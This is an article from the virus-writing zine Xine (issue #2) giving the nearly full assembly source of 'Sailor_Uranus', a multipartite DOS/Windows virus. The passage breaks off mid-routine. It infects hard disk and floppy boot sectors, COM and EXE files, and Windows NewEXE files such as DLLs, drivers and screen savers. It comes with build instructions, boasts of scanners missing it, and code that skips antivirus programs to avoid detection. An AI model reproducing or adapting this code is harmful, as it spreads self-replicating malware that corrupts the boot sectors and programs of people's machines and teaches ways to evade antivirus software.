
                                        /-----------------------------\
                                        | Xine - issue #2 - Phile 026 |
                                        \-----------------------------/


;******************************************************************************
;
; Virus name    : Sailor_Uranus
; Author        : b0z0
; Group         : iKx
; Origin        : Padania, December 1996 / January 1997
; Compiling     : Use TASM 3.00
;                 TASM /ZI /M2 URA.ASM
;                 TLINK /M /V URA
;                 TDSTRIP -C URA.EXE
;                 Then put the first 512 bytes into a floppy boot sector
;                 and the rest to the floppy boot starting at 79,1,13.
;                 Remember also to put the original boot sector to 79,1,12
; Targets       : HD Boot Sector / FD Boot Sector / COM / EXE / NewEXE
;                 Infected COMs:
;                                       All COMs that are smaller than
;                                       62463 and bigger than 1280 will
;                                       be infected. Some antiviruses and
;                                       special files won't be infected
;                                       (in all three cases). Check the
;                                       source code for more about these
;                                       files.
;                 Infected EXEs:
;                                       All EXEs without overlays and
;                                       bigger than 5000 will be infected.
;                                       This lenght check is also valid
;                                       for NewEXEs.
;                 Infected NewEXEs:
;                                       .CPL (control panel files)
;                                       .DLL (dynamic link libs)
;                                       .DRV (drivers)
;                                       .EXE (just normal NewEXEs :-) )
;                                       .FON (fonts)
;                                       .FOT (other fonts... they are quite
;                                             newer infected.. they are all
;                                             skipped at the lenght test)
;                                       .SCR (screen savers)
;                                       The NewEXE infection is done using
;                                       the VLAD-method (thanx Qark and
;                                       QuantumG). There has been added some
;                                       more check and modifies so now all
;                                       infected NewEXEs will work correctly.
;                 Infected Floppy Boots:
;                                       Only 1.44mb floppyes will be infected.
;                                       The virus won't infect floppies that
;                                       have a 'PK' as the label start. This
;                                       is done to try to prevent damaging at
;                                       least PKZIP multidisk archives.
;                 Infected HD boot:
;                                       The boot sector of the first active
;                                       partition will be infected. The active
;                                       partition will be determined by a check
;                                       in the partition table. Generally the
;                                       DOS bootable partition is also set as
;                                       active.
; Hooked ints   : 13h and 21h
;                 13h is hooked for floppy boot infections (AH = 02h)
;                 21h hooked functions:
;                       4b00h   = Load and Execute
;                       4eh     = Findfirst
;                       4fh     = Findnext
; Size          : Sailor_Uranus fits exactly (well, considering also the
;                 place for BPB data and 2 unused bytes :)) 4 floppy disk
;                 sectors (boot + 3 at the end of the floppy). Infected
;                 files (all kinds) will grow then 2048 bytes.
; Notes         : Sailor_Uranus can go resident just if started from an
;                 infected boot. So any infected file will check if the
;                 virus is resident and if it isn't it will infect the
;                 HD boot. The virus infects the HD boot in two ways:
;                       - Using int 13h, if it is runned from and infected
;                         COM or EXE.
;                       - Using the IOCTL int 21h functions (440dh) if it
;                         is runned from a NewEXE
;                 This has been done because of course you can't directly
;                 use the int 13h calls while you are in protected mode,
;                 simply because selectors would be threated by the int 13h
;                 as a segment and this, as you may imagine, won't work
;                 very well :-) So using IOCTL we will give him our selectors
;                 and Win will do the whole work of convertion and so on for
;                 us. On the other side the IOCTL functions may be also used
;                 from the DOS, so why two ways of infections? The response
;                 is simple: IOCTL functions doesn't work with DBLSPACE and
;                 such programs, which are quite used around :( So i added
;                 also a second more standard int 13h way to infect.
;                  Sailor_Uranus have also 2 ways to hook int 21h. The first
;                 is the classic way to wait for 5 EXEs to be executed and
;                 checking the buffer for a 'MZ' at int 13h. The second is
;                 an "infected activation routine", this means that when an
;                 infected file is runned (this is only for DOS files) it
;                 will automatically trigger to the int 13h a check if the
;                 int 21h is already set. So the 'residency check' of the
;                 int 13h is also used to set int 21h. Maybe you are now
;                 thinking why i do this. Well, simple. On some DOS 6.22 with
;                 SMARTDRV and DRVSPACE loaded and a couple of other Windoze
;                 stuff int 13h 'MZ' check doesn't work.So on DOS 6.22 without
;                 the infected activation the virus may never hook int 21h.
;                  Residency: well, Sailor_Uranus doesn't hook interrupts
;                 under Windows. As you know Windows doesn't pass AH=4bh
;                 calls to the real mode interrupt (the DOS one). But it
;                 will pass usually all the 4Eh/4Fh calls, so under Win this
;                 virus will be able to infect files when they are searched
;                 (for example FileManager uses 4Eh/4Fh, so when the user will
;                 browse his dirs files will be infected). Now you may ask
;                 yourself why i said "will pass usually", why "usually"?
;                 Well, Win will pass these functions to the real mode
;                 int 21h only if the 32-bit access (32BFA) is disabled.
;                 But, hey! 32-bit access is disabled by default and also
;                 Microsuck doesn't encurage the users to use it. So, be
;                 sure, that more than the 95% of users has 32BFA turned off!
;                  About the various NewEXEs files that are infected.
;                 Obvisiously i am not pretending that FOTs or CPLs will
;                 carry the virus around :-) Basically i decided to infect
;                 them to mantain the virus on a system. Mainly anything
;                 that is Windows releated will be infected ;-) On the other
;                 side some of the strange infected files may be also
;                 considered as couriers. DRVs for example are very usual
;                 on various card vendor's disks. Also some screensavers
;                 may be distribuited around by ppl. Also VBX infection
;                 works ok, but many VBXs i tried to infect noticed the
;                 user that they have been changed, so i decided not to
;                 infect at all VBXs.
;                  To prevent an enormous loss of time files on floppy disk
;                 aren't infected.
;                  Sailor_Uranus uses the 18_Tech (refeer to Dandler's
;                 article for more information about this), so wind0ze
;                 (when 32 BDA is enabled) and some avs won't worry
;                 about our int 13h handler ;)
; AV, speak!    : What does various AV says
;                       TBScan 7.06:
;                                       COM    - No Flags!
;                                       EXE    - K flag often
;                                       NewEXE :
;                                           .EXE   - only B flag quite always
;                                           others - No scan at all :-)
;                                       Boot   - No Flags!
;                       AVPlite 3.0 (updated bases):
;                                       EXE - *sometime* Typo_COMTsr susp.
;                                       COM - *sometime* Typo_COMTsr susp.
;                               All NewExes - Nothing!
;                                      Boot - Nothing!
;                       FProt 2.25:
;                               - Normal scan
;                                       Nothing in any case.
;                               - /analyse
;                                       Will give a warning only on some COMs
;                               - /analyse /paranoid
;                                       Will give a warning only on some COMs
;                 Well, the results of other AVs (Scan, NAV and so on) are
;                 all the same... i'll let you imagine :-)))
; Name origin   : Sailor_Uranus is dedicated to Sailor Uranus, one of the
;                 Pretty Sailor Soldiers family.
; For more info : Of course, if you aren't satisfacted with my description
;                 and you don't have time to check out the code get VSUM
;                 (the year 2000 one, November edition) and read more
;                 interesting things about Sailor_Uranus 8-)
; Greetings     : Of course a great thanx to Qark and QuantumG for writing
;                 the NewEXE infection tuorial and NE infectors.
;                 Thanx to Dandler for the very nice Int 18h trick infos!
;                 Thanx also to Darkman for the 4Eh/4Fh tutorial. You saved
;                 me a little of time ;)
; Registration  : hehe :-) if you liked this virus just send me a line...
;
;******************************************************************************


.286
.model tiny
.code
        org 0

virus_lenght    equ     (offset virus_end - offset virus_start)

virus_start:
                jmp     short boot_start
                nop

                org     3eh

boot_start:
                cli
                xor     ax,ax
                mov     ss,ax                   ; set SS:SP to 0000:7C00
                mov     ax,7c00h
                mov     sp,ax
                push    ss
                pop     ds
                sti

                mov     si,412h
                inc     si
                mov     ax,word ptr ds:[si]     ; ax = avaiable mem
                sub     ax,3                    ; 3 kb 'o' mem
                mov     word ptr ds:[si],ax

                mov     cl,06h
                shl     ax,cl
                mov     es,ax                   ; ES segment for our virus

                cld
                mov     di,200h                 ; copy 200h virus bytes
                push    di                      ; in memory
                pop     cx
                sub     di,di
                mov     bx,cx
                mov     si,7c00h
                rep     movsb

                mov     ax,203h                 ; read the body of the virus
                mov     cl,3                    ; on hd at 0,0,3
                sub     dh,dh
                cmp     byte ptr ds:[fromfloppy + 7c00h],00h
                jne     load_from_hd            ; or on floppy at
                mov     cx,4f0dh                ; cylinder 79, sector 0dh
                inc     dh                      ; side 1

load_from_hd:
                int     13h

                mov     byte ptr es:[int21set],05h      ; int 21h set flag

                mov     si,04ch                 ; on 13h IVT entry

                mov     ax,word ptr ds:[si+2]   ; save old int 13h
                mov     word ptr es:[seg13h],ax

                mov     ax,word ptr ds:[si]     ; off:seg
                mov     word ptr es:[off13h],ax

                push    ds

                mov     ax,0f000h               ; point to rom
                mov     ds,ax
                xor     bx,bx
cd18loop:
                inc     bx
                cmp     word ptr ds:[bx],18cdh  ; search for the int 18h
                jne     cd18loop

                pop     ds

                mov     word ptr ds:[si],bx     ; point int13h to the cd18h
                mov     word ptr ds:[si + 2],ax

                mov     word ptr ds:[si + 14h],offset new_int13h
                mov     word ptr ds:[si + 16h],es       ; set int 18h

                push    ds                      ; es=ds=00
                pop     es

                mov     ax,201h                 ; load the original bs
                mov     bx,7c00h
                mov     cx,2                    ; 0,0,2 on hd
                sub     dh,dh
                cmp     byte ptr ds:[fromfloppy + 7c00h],00h
                jne     load_bs_from_hd
                mov     cx,4f0ch                ; or here on floppy
                inc     dh

load_bs_from_hd:
                mov     word ptr cs:[7c00h-2],13cdh
                jmp     virus_start-2           ; pass to original bs

fromfloppy      db      00h                     ; 00h = floppy, 01h = hd

new_int13h:
                add     sp,6                    ; correct stack

                xchg    al,ah                   ; antiheuristic
                cmp     ax,2301h                ; installation check
                jne     no_inst_check
                cmp     bl,0b0h                 ; from a dos executable?
                jne     alr_21handler
                push    ax                      ; yea, so try to force
                push    ds                      ; loading of int21 handler
                call    force_int21h_set
                pop     ds
                pop     ax
alr_21handler:
                iret

no_inst_check:
                cmp     al,02h                  ; read
                xchg    al,ah                   ; reput right stuff in AX
                je      check_floppy

                 db      0EAh                   ; old int 13h
off13h           dw      ?
seg13h           dw      ?

check_int21h:
                cmp     byte ptr es:[bx],'M'    ; longer but antiheuristic
                jne     end_21_check

                cmp     byte ptr es:[bx+1],'Z'
                jne     end_21_check

force_int21h_set:
                cmp     byte ptr cs:[int21set],00h      ; 21 already set?
                je      end_21_check

                dec     byte ptr cs:[int21set]          ; decrease counter

                cmp     byte ptr cs:[int21set],00h      ; time to hook?
                jne     end_21_check

                xor     ax,ax
                mov     ds,ax                           ; ds to ivt

                push    cs
                pop     ax

                xchg    word ptr ds:[086h],ax           ; set our int 21h
                mov     word ptr cs:[seg21h],ax
                mov     ax,offset new_int21h
                xchg    word ptr ds:[084h],ax
                mov     word ptr cs:[off21h],ax

end_21_check:
                ret

check_floppy:
                pushf
                call    dword ptr cs:off13h             ; read it
                jnc     floppy_ok
                jmp     error                           ; exit on error
floppy_ok:

                pushf
                pusha
                push    ds

                cmp     cx,01h
                je      no_check_int21h

                call    check_int21h                    ; check for int 21h
                jmp     leave_13h                       ; installation

no_check_int21h:

                cmp     dh,00h
                jne     leave_13h

                cmp     dl,1
                ja      leave_13h

                cmp     word ptr es:[bx+13h],2880       ; only 1.44mb
                jne     leave_13h

                cmp     word ptr es:[bx+2bh],'KP'       ; label PKBACK...?
                je      leave_13h                       ; if so, leave

boot_check:
                cmp     word ptr es:[bx+boot_check+5],'US'
                je      leave_13h                       ; already inf?

                push    es

                mov     ax,201h
                inc     ah
                push    ax
                mov     cx,4f0ch        ; cyl 79, sec 0ch
                mov     dh,1
                int     13h             ; save original boot
                jnc     ok_write
                pop     ax
                pop     es
                jmp     leave_13h       ; write protected, go away

ok_write:
                push    es
                pop     ds
                push    cs
                pop     es

                sub     bp,bp           ; copy boot data
                call    copy_boot_data

                mov     byte ptr cs:[fromfloppy],dh

                pop     ax
                push    bx
                push    ax
                sub     bx,bx           ; put new boot
                int     13h

                pop     ax              ; ax=301h
                inc     al              ; 3 sectors to write
                inc     al
                mov     bx,200h         ; body of the virus
                mov     cx,4f0dh        ; d,e and f
                mov     dh,01h
                int     13h
                pop     bx
                pop     es

leave_13h:
                pop     ds
                popa
                popf
error:
                retf    2



infect_hd_by_13h:

                mov     ax,0201h
                push    ax
                lea     bx,[offset filebuffer+bp]
                mov     dx,80h
                mov     cx,1
                int     13h             ; read mbr to our buffer

                call    table_check     ; check partition table
                pop     ax
                jc      inf_hd_err      ; carry if error while looking at
                                        ; the partition table
                int     13h             ; read boot sector

                cmp     word ptr [bx+boot_check+5],'US'   ; already infected?
                je      inf_hd_err

                push    dx
                push    cx

                call    copy_boot_data  ; copy needed data from bs

                inc     cx

                mov     ax,201h         ; save original boot
                inc     ah
                push    ax
                int     13h

                pop     ax              ; save virus body
                inc     al
                inc     al
                mov     bx,200h
                add     bx,bp
                inc     cx
                int     13h

                pop     cx
                pop     dx
                mov     byte ptr ds:[fromfloppy+bp],1   ; hd marker
                mov     bx,bp           ; put virus boot
                mov     ax,201h
                inc     ah
                int     13h

inf_hd_err:
                ret

boot_end:

                org     01feh
boot_markers:
                db      055h,0aah

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

second_part_start:

new_int21h:                                     ; our int 21h handler
                cmp     ah,4eh
                je      findfirst

                cmp     ah,4fh
                je      findnext

                push    ax                      ; fool heuristics
                xchg    al,ah
                cmp     ax,004bh
                pop     ax
                jne     do_int21h
                jmp     execution

do_int21h:
         db      0EAh                           ; original int 21h
off21h   dw      ?
seg21h   dw      ?

findfirst:
                pusha
                push    es

                cld
                lea     di,filename
                mov     si,dx
                push    cs
                pop     es
                mov     word ptr cs:[di-4],di   ; offset of filename
                in      ax,40h
                xor     al,ah
                and     al,0111b
                mov     byte ptr cs:[di-5],al   ; infection counter
getpath:
                lodsb                           ; save search path
                cmp     al,00h
                je      pathexit
                stosb                           ; es:di = filename
                cmp     al,':'
                je      ok_sepa
                cmp     al,'\'
                jne     getpath
ok_sepa:
                mov     word ptr cs:[filenameoff],di
                jmp     getpath
pathexit:
                pop     es                      ; restore regs
                popa
findnext:
                pushf
                call    dword ptr cs:off21h

                pusha
                push    ds
                push    es
                pushf

                cmp     byte ptr cs:[tmpcounter],07h
                jae     time_to_infect
                inc     byte ptr cs:[tmpcounter]
                jmp     go_away
time_to_infect:

                cld

                mov     ah,2fh                        ; get DTA
                int     21h

                mov     di,cs:[filenameoff]
                mov     si,bx
                add     si,1eh                        ; filename
                push    es
                pop     ds
                push    cs
                pop     es
getfname:
                lodsb
                stosb
                cmp     al,'.'
                jne     isntadot
                mov     word ptr cs:[filedotoff],di   ; save dot position
isntadot:
                or      al,al               ; end of filename?
                jne     getfname
             
                push    cs
                pop     ds

                mov     dx,offset filename
                mov     di,[filedotoff]
                mov     byte ptr ds:[tmpcounter],00h
founded_dot:
                cmp     word ptr ds:[di],'OC'   ; .com
                je      ok_inf
                mov     byte ptr ds:[tmpcounter],01h
                cmp     word ptr ds:[di],'XE'   ; .exe
                je      ok_inf
                cmp     word ptr ds:[di],'LD'   ; .dll
                je      ok_inf
                cmp     word ptr ds:[di],'OF'   ; .fon and .fot
                je      ok_inf
                cmp     word ptr ds:[di],'RD'   ; .drv
                je      ok_inf
                cmp     word ptr ds:[di],'CS'   ; .scr
                je      ok_inf
;                cmp     word ptr ds:[di],'BV'   ; .vbx is too risky
;                je      ok_inf
                cmp     word ptr ds:[di],'PC'   ; .cpl
                jne     go_away
ok_inf:
                call    infect_it

go_away:
                popf
                pop     es
                pop     ds
                popa

                retf    2

execution:
                pushf
                pusha
                push    ds
                push    es
                mov     byte ptr cs:[tmpcounter],0b0h   ; exec marker
infect_it:
                mov     ah,19h          ; get current default drive
                int     21h
                cmp     al,2
                jae     ok_drive        ; don't infect on floppyes
                jmp     exit_at_all

ok_drive:
                push    ds
		push    dx 
                push    cs
                pop     ds

                mov     ax,3524h          ; get int24h seg and off
		int     21h
                mov     word ptr ds:[old_int24_off],bx  ;store them
                mov     word ptr ds:[old_int24_seg],es

                mov     dx,offset int24h         ; set our int24h
		mov     ax,2524h
		int     21h
                pop     dx
                pop     ds

check_name:
                push    dx
                pop     di

check_name_loop:
                cmp     byte ptr ds:[di],'.'    ; search dot
                je      got_namedot
                cmp     byte ptr ds:[di],00h    ; end of filename?
                jne     cn_int_loop
                jmp     end_infection
cn_int_loop:
                inc     di
                jmp     check_name_loop
got_namedot:
                cmp     byte ptr ds:[di+4],00h  ; is the extension dot?
                jne     cn_int_loop
                lea     si,dontinfect           ; point on noninfectables
check_av_loop:
                mov     cx,word ptr cs:[si]
                cmp     word ptr ds:[di-2],cx   ; look each file
                jne     next_av
                jmp     end_infection
next_av:
                inc     si
                inc     si
                cmp     byte ptr cs:[si],00h    ; end of the list?
                je      end_check
                jmp     check_av_loop
end_check:

                mov     ax,4300h
                int     21h             ; Get attributes


                mov     word ptr cs:[file_att],cx
                sub     cx,cx           ; clear attributes
                call    set_attributes
                jc      end_infection   ; exit on error

                push    ds              ; save ds:dx to filename on stack
                push    dx

                mov     ax,3d02h        ; open in rw mode
                int     21h
                jc      end_infection_wfa

                mov     bx,ax           ; handle in bx
                push    cs
                pop     ds

                mov     ax,5700h        ; get time/date
                int     21h
                push    dx
                push    cx

                mov     ah,3fh          ; read a bounch of bytes
                mov     cx,41h
                lea     dx,filebuffer   ; to our buffer
                mov     si,dx
                int     21h

                cmp     byte ptr ds:[si],'M'            ; exe?
                jne     isnotanexe
                cmp     byte ptr ds:[si+1],'Z'          ; really exe?
                jne     isnotanexe
                cmp     word ptr ds:[si+12h],'US'       ; exe marker?
                je      close_and_finish
                cmp     byte ptr ds:[si+1ah],ch         ; no overlays?
                jne     close_and_finish

                mov     al,02h          ; get lenght of the file
                call    seekfile

                or      dx,dx           ; ok if > 64k
                jnz     oklenght

                cmp     ax,800h
                jbe     close_and_finish        ; not ok if < 5000

oklenght:
                cmp     byte ptr ds:[si+18h],'@'        ; winexe?
                je      infect_winexe
                call    infect_exe
                jmp     close_and_finish
isnotanexe:
                cmp     byte ptr ds:[tmpcounter],01h    ; Prevent ruining
                je      close_and_finish                ; files

                                ; Infact we may have founded a file from
                                ; another program that have the same
                                ; extension as a windows part but of
                                ; course it isn't a NewEXE. For example
                                ; i saw some programs that have their
                                ; files named as xxx.DRV and we don't
                                ; want to destroy them :-)

                cmp     byte ptr [si],0e9h              ; jmp?
                jne     comtest
                cmp     byte ptr [si+3],'S'
                je      close_and_finish
comtest:
                call    infect_com

close_and_finish:
                pop     cx
                pop     dx
                mov     ax,0157h        ; restore time/date
                xchg    al,ah
                int     21h

                mov     ah,3eh          ; close file
                int     21h

end_infection_wfa:
                pop     dx              ; ds:dx pointer to filename
                pop     ds
                mov     cx,word ptr cs:[file_att]       ; attributes
                jc      end_infection
                call    set_attributes  ; put original attributes

end_infection:

                mov     ax,2524h
                mov     ds,cs:[old_int24_seg]
                mov     dx,cs:[old_int24_off]
                int     21h                     ; restore int24h
exit_at_all:

                cmp     byte ptr cs:[tmpcounter],0b0h   ; was executing?
                je      real_end
                ret
real_end:
                mov     byte ptr cs:[tmpcounter],00h
                pop     es
                pop     ds
                popa
                popf
                jmp     do_int21h

infect_winexe:
                mov     di,offset winexe_data

                mov     ax,word ptr [si+3ch]      ; nexe header offset
                mov     word ptr ds:[di],ax

                mov     word ptr ds:[si+12h],'US' ; infection marker

                sub     word ptr ds:[si+3ch],8    ; enought room?
                cmp     word ptr ds:[si+3eh],0
                jne     close_and_finish

                sub     al,al           ; seek to start
                call    seekfile

                mov     ah,40h          ; rewrite header
                mov     cl,ah
                xor     ch,ch
                mov     dx,si
                int     21h

                jc      close_and_finish        ; exit on error

                sub     al,al
                mov     dx,word ptr ds:[di]     ; to newexe header
                call    seekfile_mid_cx

                mov     ah,3fh                  ; read NE header
                mov     cx,512
                mov     dx,si
                int     21h

                cmp     word ptr ds:[si+36h],0802h  ; only Win NewEXEs
                jne     bad_nexe                    ; with gangload area

                cmp     word ptr ds:[si],'EN'   ; don't infect LE/PE
                je      ok_newexe

bad_nexe:
                sub     al,al                   ; start of file
                call    seekfile

                mov     ah,3fh                  ; reread exe hdr
                mov     cx,41h
                mov     dx,si
                int     21h

                add     word ptr ds:[si+3ch],8  ; restore changed data

                sub     al,al                   ; start of file
                call    seekfile
                                                ; leave the marker
                mov     ah,40h                  ; so we wouldn't waste
                mov     cl,ah                   ; time once again
                xor     ch,ch
                mov     dx,si
                int     21h                     ; write header

                jmp     close_and_finish

ok_newexe:
                mov     dx,8                    ; change the segment table
                mov     ax,word ptr ds:[si+22h]
                cmp     word ptr ds:[si+4],ax
                jb      no_firsta
                add     word ptr ds:[si+4],dx

no_firsta:
                mov     cx,4
                push    si
                add     si,24h
pnt_check:
                cmp     word ptr ds:[si],ax    ; change where needed
                jb      no_8_add
                add     word ptr ds:[si],dx
no_8_add:
                inc     si
                inc     si
                loop    pnt_check
                pop     si

                mov     ax,word ptr [si+1ch]
                inc     word ptr [si+1ch]
                mov     cx,dx
                sub     dx,dx
                mov     byte ptr ds:[si+37h],dl
                mov     word ptr ds:[si+38h],dx ; kill gangload area
                mov     word ptr ds:[si+3ah],dx ; so all NewEXEs will work
                mul     cx

                mov     cx,512
                add     ax,word ptr ds:[si+22h]
                adc     dx,0

                div     cx

                mov     word ptr ds:[di+3h],ax          ; NE size
                mov     word ptr ds:[di+5h],dx

                mov     ax,offset winexe_entry
                xchg    ax,word ptr ds:[si+14h]         ; put new ip and
                mov     word ptr ds:[di-02h],ax         ; store old ip

                mov     ax,word ptr ds:[si+1ch]
                xchg    ax,word ptr ds:[si+16h]         ; put new cs and
                mov     word ptr ds:[di-04h],ax         ; store old cs

                mov     al,byte ptr ds:[si+32h]         ; segment align
                mov     byte ptr ds:[di+2h],al

                mov     ax,word ptr ds:[di]             ; newexe offset
                mov     word ptr ds:[di+7h],ax

move_header_fwd:
                mov     ax,word ptr ds:[di+3h]          ; ne header size
                or      ax,ax
                jz      last_page

                dec     word ptr ds:[di+3h]

                sub     al,al
                mov     dx,word ptr ds:[di+7h]          ; where to go
                sub     dx,8
                call    seekfile_mid_cx

                mov     ah,40h                          ; write
                mov     cx,512
                add     word ptr ds:[di+7h],cx
                mov     dx,si
                int     21h

                sub     al,al
                push    cx
                mov     dx,word ptr ds:[di+7h]          ; to next chunk
                call    seekfile_mid_cx

                mov     ah,3fh                          ; read it
                mov     dx,si
                pop     cx
                int     21h

                jmp     move_header_fwd

last_page:
                mov     al,02h
                call    seekfile

                mov     cl,byte ptr ds:[di+2h]          ; segment align
                push    bx
                mov     bx,1
                shl     bx,cl                   ; shift segment offset
                mov     cx,bx                   ; by segment align
                pop     bx
                div     cx

                mov     word ptr ds:[di+9h],0
                or      dx,dx
                jz      no_extra
                sub     cx,dx
                mov     word ptr ds:[di+9h],cx
                inc     ax
no_extra:
                push    di
                mov     di,si
                add     di,word ptr ds:[last_ne]

                mov     word ptr [di],ax                ; segment offset
                mov     word ptr [di+2],virus_lenght
                mov     word ptr [di+4],180h            ; Segment attributes
                mov     word ptr [di+6],virus_lenght + 1024
                pop     di

                sub     al,al
                mov     dx,word ptr ds:[di+7h]          ; where to go
                sub     dx,8
                call    seekfile_mid_cx

                mov     ah,40h
                mov     cx,word ptr ds:[di+5h]          ; write last chunk
                add     cx,8
                mov     dx,si
                int     21h

                sub     cx,cx

                xchg    word ptr ds:[winip],cx
                push    cx
                sub     cx,cx                           ; reset reloc pointer
                dec     cx
                xchg    word ptr ds:[wincs],cx
                push    cx

                mov     al,02h
                mov     dx,word ptr ds:[di+9h]          ; end of file
                call    seekfile_mid_cx

                mov     ah,40h                          ; write virus body
                mov     cx,virus_lenght
                sub     dx,dx
                int     21h

                pop     word ptr ds:[wincs]             ; restore reloc
                pop     word ptr ds:[winip]             ; pointer

                mov     ah,40h                          ; write reloc item
                mov     dx,offset relocitem
                mov     cx,(offset relocitem_end-offset relocitem)
                int     21h

                jmp     close_and_finish

infect_exe:
                mov     al,02h
                call    seekfile        ; AX:DX = lenght

                push    ax              ; check _really_ no overlays
                push    dx
                mov     cx,word ptr [si+04h]
                mov     ax,512                  ; compare lenght calculated
                mul     cx                      ; from header with the real
                add     ax,word ptr [si+02h]    ; lenght we got from lseek
                adc     dx,00h
                mov     word ptr [si-02h],dx
                mov     word ptr [si-04h],ax
                pop     dx
                pop     ax
                cmp     dx,word ptr [si-02h]
                ja      exit_exe_infection
                cmp     ax,word ptr [si-04h]
                ja      exit_exe_infection

                push    ax
                push    dx

                mov     cx,10h                          ; calculate new
                div     cx                              ; cs:ip for exe

                sub     ax,word ptr [si+8h]

                add     dx,offset exe_entry

                push    ax
                xchg    word ptr [si+16h],ax            ; new CS
                mov     word ptr ds:[victim_cs],ax
                pop     ax

                push    dx
                xchg    word ptr [si+14h],dx            ; new IP
                mov     word ptr ds:[victim_ip],dx
                pop     dx

                add     dx,(offset virus_end + 800)     ; SP after us
                and     dl,0feh

                xchg    word ptr [si+0eh],ax            ; new SS
                mov     word ptr ds:[victim_ss],ax

                xchg    word ptr [si+10h],dx            ; new SP
                mov     word ptr ds:[victim_sp],dx

                pop     dx                              ; pop length
                pop     ax

                add     ax,virus_lenght
                adc     dx,00h
                mov     cx,512
                div     cx
                inc     ax
                mov     word ptr [si+04h],ax       ; new nr of pages
                mov     word ptr [si+02h],dx       ; new image mod 512
                mov     word ptr [si+12h],'US'     ; infection marker
                mov     byte ptr [exeorcom],00h    ; exe marker

                sub     dx,dx
                mov     ah,40h
                mov     cx,virus_lenght         ; write virus body
                int     21h

                mov     cx,1ch
                push    cx

                sub     al,al
                call    seekfile                ; go to start

                mov     ah,40h                  ; write header
                pop     cx
                mov     dx,si
                int     21h

exit_exe_infection:
                ret

infect_com:
                push    ds
                pop     es
                lea     di,orig_bytes           ; save first 4 bytes
                movsw
                movsw

                mov     al,02h                  ; end of file
                call    seekfile

                cmp     ah,0f3h                 ; not bigger than...
                ja      infect_com_exit

                cmp     ah,04h                  ; not smaller than...
                jbe     infect_com_exit

                sub     ax,03h
                add     ax,offset exe_entry     ; calculate jump
                mov     word ptr com_jump + 01h, ax

                mov     byte ptr [exeorcom],01h ; com marker

                mov     ah,40h
                sub     dx,dx
                mov     cx,virus_lenght         ; write virus body
                int     21h

                mov     cx,04h
                push    cx

                sub     al,al
                call    seekfile                ; start of the file

                mov     ah,40h                  ; write new jump
                pop     cx
                mov     dx,offset com_jump
                int     21h
infect_com_exit:

                ret

seekfile:                                   ; move around the file
                sub     ah,ah               ; so cwd will work
                cwd
seekfile_mid_cx:
                sub     cx,cx
seekfile_mid:
                mov     ah,42h
                int     21h
                ret

exe_entry:                                      ; EXE and COM entry point
                call    deltaoffset
deltaoffset:
                push    ds
                push    es
                mov     bp,sp
                mov     bx,[bp+4]
                mov     bp,bx
                sub     bp,offset deltaoffset   ; delta offset

                mov     bl,0b0h
                mov     ax,0123h                ; residency check
                int     13h
                cmp     ax,2301h
                je      already_in_mem

                push    cs
                pop     es
                push    cs
                pop     ds
                call    infect_hd_by_13h        ; infect hd by int 13h

already_in_mem:
                pop     es
                pop     ds
                pop     ax

                cmp     byte ptr cs:[exeorcom + bp],01h
                je      com_exit                ; exe or com finish

                mov     ax,es                   ; calculate cs and ss
                add     ax,10h
                add     cs:[victim_cs + bp],ax

                cli
                mov     sp,word ptr cs:[victim_sp + bp]
                add     ax,word ptr cs:[victim_ss + bp]
                mov     ss,ax
                sti

                sub     ax,ax                   ; zero regs
                sub     bx,bx
                sub     cx,cx
                sub     dx,dx
                sub     di,di
                sub     si,si
                push    cs:[victim_cs+bp]       ; push old cs:ip
                push    cs:[victim_ip+bp]
                sub     bp,bp

                retf                            ; return to old cs:ip

victim_ip       dw      00000h
victim_cs       dw      0fff0h
victim_sp       dw      00000h
victim_ss       dw      00000h
orig_bytes      db      00h,00h,00h,00h         ; original com bytes
com_jump        db      0e9h,00h,00h            ; space for our com jump
                                                ; the S will be also of
                                                ; use for infection check
virus_name      db      'Sailor_Uranus'

exeorcom        db      00h                     ; 01 = COM, 00 = EXE

com_exit:
                mov     di,0ffh
                lea     si,[orig_bytes + bp]
                inc     di
                push    di
                pop     ax
                movsw                   ; restore 4 com bytes
                movsw
                jmp     ax              ; jump to cs:100

winexe_entry:                           ; Entry point for NExes
                pusha
                push    es
                push    ds

                sub     bx,bx
                mov     ax,0123h        ; residency check
                int     13h
                cmp     ax,2301h
                je      already_inf

                mov     ax,000ah        ; Create Alias Descriptor
                mov     bx,cs           ; so our cs is writeable
                int     31h

                mov     ds,ax

                mov     bx,ax
                mov     ax,0008h        ; Set Segment Limit
                sub     cx,cx           ; so we are _sure_ that we
                mov     dx,0c00h        ; will have enough space for
                int     31h             ; hd infection

                push    ds
                pop     es

                sub     bp,bp

                call    infect_hdboot   ; infect HD boot with int 21h

                mov     ax,0001h        ; free LDT descriptor we used
                mov     bx,ds
                int     31h
already_inf:
                pop     ds
                pop     es
                popa

                db      0EAh            ; return to original exe
winip           dw      0
wincs           dw      0ffffh

virus_author    db      'b0z0/iKx'

int24h:
                mov     al,00h
                iret

dontinfect      db      'AN','OT','86','AV','VP','US','IL','ED'
                db      'OP','ND','LP','GR','PL','RK','YR','RE',0

; Antiviruses:
; AN - tbscan
;    - scan
; OT - f-prot
; AV - nav
;    - ms*av
; VP - avp
; US - findvirus
; OP - virstop
;
; Files that will tell the user that they were changed and that they are
; probably infected by a virus:
; IL - msmail and msmail releated
; ED - mssched.dll
;      mssched.exe
;      and some other Scheduler+ files
; LP - winhelp.exe
; GR - wgpomgr.dll
;    - mailmgr.dll
; PL - mailspl.exe
; RK - framework.dll
; RE - store.dll
;
; And this won't be infected because they won't work. I really don't know
; why...
; ND - lzexpand.dll
; 86 - kern386
;

infect_hdboot:                     ; infects HD boot with int21h

                lea     bx,[offset filebuffer+bp]
                sub     cx,cx
                sub     dh,dh
                call    do_read                 ; read the MBR
                jc      hderror

                call    table_check             ; find active partition
                jc      hderror

                dec     cl                              ; no carry -> read
                call    do_read                         ; read boot sector

                cmp     word ptr [bx+boot_check+5],'US' ; already infected?
                je      hderror

                push    dx
                push    cx

                call    copy_boot_data                  ; copy boot stuff

                mov     byte ptr ds:[fromfloppy+bp],cl
                stc                                     ; write
                call    do_read

                inc     cx                      ; save body of the virus
                lea     bx,[offset second_part_start+bp]
                stc                             ; write
                call    do_read
                inc     cx
                add     bx,200h                         ; next part
                stc                                     ; write
                call    do_read
                add     bx,200h                         ; next part
                inc     cx
                stc                                     ; write
                call    do_read

                pop     cx
                pop     dx
                mov     bx,bp                           ; put virus boot
                stc                                     ; write
                call    do_read
hderror:
                ret

copy_boot_data:
                lea     si,[bx+03h]             ; copy cool boot stuff
